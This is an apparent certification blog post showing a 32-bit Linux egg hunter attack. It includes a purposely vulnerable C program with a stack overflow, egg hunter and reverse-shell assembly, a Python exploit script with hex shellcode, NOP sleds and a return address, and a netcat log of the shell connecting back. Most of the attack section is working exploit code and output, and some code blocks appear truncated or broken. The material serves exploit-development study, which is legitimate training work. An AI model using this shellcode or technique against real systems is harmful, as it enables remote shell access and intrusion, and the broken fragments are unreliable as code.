SLAE-473 ASSIGNMENT #3 Egg Hunter Shellcode


This tutorial is part of the SecurityTube Linux Assembly Expert certification.
The goal of this assignment is to study Egg Hunter Shellcode, create a Linux 32bit demo and configure it for different payloads.

The tutorial will contain example source with comments. Listed source code may have formatting issues so best place to obtain copies is from the project’s Github repo.

This assignment will build from the previous bind shell and reverse shell assignments and so will not be reiterating explanations already covered there.

Egg Hunter Research

The problem

Generally shellcode tends to be delivered as part of an exploit against vulnerable software.

Below I have listed an example piece of software which is vulnerable to a stack overflow exploit in the send parameter passed to it. The source code comments explain why.

/* vulnerable.c
 Author: Mutti K
 Purpose: Demonstrate egg hunter shellcode. Supply shellcode as param 1 and overflow + egg hunter in param 2.
 Crashs when param 2 is 76 bytes
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int shellcode_buffer_size = 500;
int bof_buffer_size = 20; //20 get seg fault at 76 bytes

void overflow(char *shellc, char *hunter) {
 char egghunter[bof_buffer_size];
 char shellcode[shellcode_buffer_size];
 //Store shellcode on stack
 strncpy(shellcode,shellc, shellcode_buffer_size);
 //vuln function to overflow
 strcpy(egghunter, hunter);

int main(int argc, char *argv[])
 /*if no argument…*/
 if(argc <3)
 printf("Syntax: %s <input shellcode (%d bytes)> <input bof+egghunter (%d bytes)>\n", argv[0], shellcode_buffer_size,bof_buffer_size);
 exit (0);
 return 0;

First ensure your system has ASLR disabled then compile

target$ sudo echo 0 > /proc/sys/kernel/randomize_va_space
target$ gcc -o ./vulnerable vulnerable.c -fno-stack-protector -z execstack

To trigger vulnerability we issue

target$ ./vulnerable `perl -e 'print "A"x500 . " " . "B"x75'`
target$ ./vulnerable `perl -e 'print "A"x500 . " " . "B"x76'`
Segmentation fault

Let us imagine that we have shellcode that is bigger than the space where the payload is delivered (parameter two). Say the shellcode is 129 bytes and it won’t fit into the payload.

This is where the Egg Hunter comes into play as part of a multi-staged attack.

The Solution

An Egg Hunter is very specific code that allows an exploit to search the Virtual Address Space of a process for a specific pattern without violating memory access restrictions

When I say specific code, I am hinting that there are multiple implementations of Egg Hunters that have to be targeted at the desired Operating Systems.

Let us examine an Egg Hunter targeted for my 32bit Linux host.

;; egg_hunter.asm
; Author: Mutti K
; Purpose: Demonstration of simple egg hunter.

global _start

section .text

 xor edx,edx ; clear
 xor ecx,ecx ; clear
 or dx,0xfff ; Add page_size-1 to edx
 inc edx ; Increment pointer
 lea ebx,[edx+0x4]
 push 0x21 ; access() syscall
 pop eax
 int 0x80 ; Interrupt
 cmp al,0xf2 ; Check for EFAULT
 je next_page ; EFAULT raised, next page
 mov eax,0x90509050 ; egg search value . Shellcode needs to have this egg prepended twice.
 mov edi,edx ; edi needs memory address value in edx for scasd op.
 scasd ; Compare EAX (egg) with doubleword at ES:(E)DI and set status flags and if a match is found then increment edi by 4
 jne next_loc ; Not found
 scasd ; Look for second occurrance of egg_sig
 jne next_loc ; Not found
 jmp edi ; Egg found so jump to start of real shellcode

Key components of this Egg Hunter:

push 0x21
pop eax
int 0x80

This is a Linux specific syscall which will help identify memory access violations.

Let’s take a quick look at the man page

target$ man access
 access - check real user's permissions for a file
 int access(const char *pathname, int mode);

 access() checks whether the calling process can access the file path‐
 name. If pathname is a symbolic link, it is dereferenced.
mov eax,0x90509050

This is our Egg tag/signature that we will look for in memory to identify the start of the final shellcode.

When the egg signature pattern is found twice in a row then execution flow is passed to the following bytes after the egg signature.

Further reading on the topic can be found the awesome paper by skape.


Back to our vulnerable program.

If you recall we the program accepted two parameters, the second parameter caused a stack overflow.

I am now going to exploit the second parameter and include my Egg Hunter shellcode as stage one and pass my egg + reverse shellcode to the programs first parameter.

Something like this

./vulnerable [egg+reverse_shell] [egg_hunter+eip]

First we convert the egg_hunter into machine code ready to be placed into our exploit script

target$ nasm -f elf32 -o egg_hunter .o egg_hunter .nasm
target$ ld -o egg_hunter egg_hunter .o
target$ for i in `objdump -d egg_hunter | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done

Now I will do the same with my reverse shellcode

; shellcode.asm
; Author: Mutti K
; Purpose: Demonstration of simple reverse shell
; Note: null values have been removed. 

global _start

section .text


 ; socket()
 xor eax,eax ; zero out
 xor ebx,ebx ; zero out
 xor ecx,ecx ; zero out
 mov al, 0x66 ;socketcall()
 mov bl, 0x1 ; socket() socketcall() sub call number
 push ecx ; Param 3. Reverse order params onto stack
 push 0x1 ; Param 2
 push 0x2 ; Param 1
 mov ecx, esp ; store stack point of socket arguments
 int 0x80
 mov esi, eax ; store newly created socket file descriptor for later use

 ; connect()
 xor eax,eax ; zero out
 xor ebx,ebx ; zero out
 xor ecx,ecx ; zero out
 mov al, 0x66 ;socketcall()
 mov bl, 0x3 ; bind() socketcall() sub call number
 ;Create structure on stack for param 2.
 push ecx ; bytes 16-12, not needed
 push ecx ; bytes 12-18, not needed
 ; Original example code had null bytes.
 ; IP address may contain 0 such as Some arithmatic is required to avoid using zeros.
 ; e.g. ip address in hex is 7f000001h, ffffffffh - 7f000001h = 80fffffeh.
 ; We can use ffffffffh - 80fffffe = 7f000001h to obtain
 ; push 0x0100007f ; bytes 8-4, connect to ip address 127d 0d 0d 1d = reverse 01h 00h 00h 7fh
 mov ecx, 0xffffffff
 sub ecx, 0x80fffffe ; This value needs to change when the connect ip address changes
 bswap ecx ; Reverse order bytes for ip address
 push ecx
 push WORD 0x050d ; Port number to listen on 3333d d05h. Reverse byte order and in hex, bytes 4-2
 push WORD 0x02 ; AF_INET, bytes 2-0
 mov edi, esp ; store pointer to structure for param 2 of bind()
 ; Reverse order params for bind() onto stack
 push 0x10 ; Param 3 is length of param 2 structure
 push edi ; Param 2 pointer to structure
 push esi ; Param 1, socket file descriptor from socket() call
 mov ecx, esp ; store stack point of socket arguments
 int 0x80

 ; dup2()
 xor eax,eax ; zero out
 xor ebx,ebx ; zero out
 xor ecx,ecx ; zero out
 mov al, 0x3f ; dup2()
 ;mov ecx, 0x0; oldfd, stdin. ECX already zeroed
 mov ebx, esi ; newfd, returned fd from socket()
 int 0x80

 ; dup2()
 xor eax,eax ; zero out
 xor ebx,ebx ; zero out
 xor ecx,ecx ; zero out
 mov al, 0x3f ; dup2()
 mov cl, 0x1 ; oldfd, stdout
 mov ebx, esi ; newfd, returned fd from socket()
 int 0x80

 ; dup2()
 xor eax,eax ; zero out
 xor ebx,ebx ; zero out
 xor ecx,ecx ; zero out
 mov al, 0x3f ; dup2()
 mov cl, 0x2 ; oldfd, stderror
 mov ebx, esi ; newfd, returned fd from socket()
 int 0x80

 ; execve()
 xor eax,eax ; zero out
 xor ebx,ebx ; zero out
 xor ecx,ecx ; zero out
 xor edx,edx ; zero out
 ;mov edx, 0x0 ; Param 3, null. EDX already zeroed out
 ;mov ecx, 0x0 ; Param 2, null. ECX already zeroed out
 ;create string on stack /bin/sh
 push edx ; null terminate shell string
 push 0x68732f2f ; hs//
 push 0x6e69622f ; nib/
 mov ebx, esp ; Param 1 store pointer to string
 mov al, 0xb ; execve()
 int 0x80

Prepare for insertion into exploit script

target$ nasm -f elf32 -o egg_hunter .o egg_hunter .nasm
target$ ld -o egg_hunter egg_hunter .o
$ for i in `objdump -d shellcode | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done

Final exploit script:

 Author: Mutti K
 Purpose: print exploit code to trigger vulnerability in test program which demonstrates egg hunter shellcode.
 The expected output is two strings in the following format "[egg][sled][shellcode] [sled][egghunter][eip][buffer].
 I calculated the sizes for parts of the payload to make it easier to drop in new shellcode of varying sizes.
eip = "\xe4\xf1\xff\xbf" #This EIP value works with or without GDB because extra sleds and jmp back ensures we egg hunter
egg_sig = "\x90\x50\x90\x50"
egg = egg_sig + egg_sig
# Exploit is unreliable because stack contentss is volatile due to env variables.
# Incase EIP value doesn't point to top of stack and instead points to bottom then buffer sleds -62 and JMP 0641 will correct
buffer = "\x90"*62 + "\xEB\x80"

shellcode_payload_max_size = 500
exploit_payload_max_size = 148
payload_max_size = 649

shellcode = \
"\x31\xc0\x31\xdb\x31\xc9\xb0\x66" \
"\xb3\x01\x51\x6a\x01\x6a\x02\x89" \
"\xe1\xcd\x80\x89\xc6\x31\xc0\x31" \
"\xdb\x31\xc9\xb0\x66\xb3\x03\x51" \
"\x51\xb9\xff\xff\xff\xff\x81\xe9" \
"\xfe\xff\xff\x80\x0f\xc9\x51\x66" \
"\x68\x0d\x05\x66\x6a\x02\x89\xe7" \
"\x6a\x10\x57\x56\x89\xe1\xcd\x80" \
"\x31\xc0\x31\xdb\x31\xc9\xb0\x3f" \
"\x89\xf3\xcd\x80\x31\xc0\x31\xdb" \
"\x31\xc9\xb0\x3f\xb1\x01\x89\xf3" \
"\xcd\x80\x31\xc0\x31\xdb\x31\xc9" \
"\xb0\x3f\xb1\x02\x89\xf3\xcd\x80" \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2" \
"\x52\x68\x2f\x2f\x73\x68\x68\x2f" \

shellcode_nopsled = "\x90"*(shellcode_payload_max_size - (len(egg)+len(shellcode)) )#Ensure buffer size is consistent
shellcode_payload = egg + shellcode_nopsled + shellcode
shellcode_size = len(shellcode_payload)

egg_hunter = \
"\xfc\x31\xd2\x31\xc9\x66\x81\xca" \
"\xff\x0f\x42\x8d\x5a\x04\x6a\x21" \
"\x58\xcd\x80\x3c\xf2\x74\xee\xb8" + egg_sig + \
exploit_nopsled = "\x90"*(exploit_payload_max_size - (len(eip)+len(egg_hunter) +len(buffer)) )#Ensure buffer size is consistent
exploit_payload = exploit_nopsled + egg_hunter + eip + buffer
payload = shellcode_payload + " " + exploit_payload

payload_final_size = len(payload)
exploit_payload_size = len(exploit_payload)

""" Help with debugging
print "Payload max size " + str(payload_max_size) + " bytes"
print "Payload final size " + str(payload_final_size) + " bytes"
print "Exploit payload max size " + str(exploit_payload_max_size) + " bytes"
print "Exploit final size " + str(exploit_payload_size) + " bytes"
print "Shellcode payload max size " + str(shellcode_payload_max_size) + " bytes"
print "Shellcode final size " + str(shellcode_size) + " bytes"
print "Shellcode size " + str(len(shellcode)) + " bytes"

print payload

I will now start a netcat listener to wait for the reverse shell

$ nc -lvvvp 3333
listening on [any] 3333 ...

Run the exploit against the vulnerable program

target$ ./vulnerable `python ./`

After several seconds of the Egg Hunter searching memory for the egg, the netcat listener receives the connect back

$ nc -lvvvp 3333
listening on [any] 3333 ...
connect to [] from localhost [] 42880
uid=1000(remote) gid=1001(remote) groups=1001(remote)
 sent 8, rcvd 54

Exchangeable shellcode payloads

The Egg Hunter will run with different shellcode payloads as long as the shellcode is prefixed with the egg.

Thank you

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student-ID: SLAE-473

One thought on “SLAE-473 ASSIGNMENT #3 Egg Hunter Shellcode

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s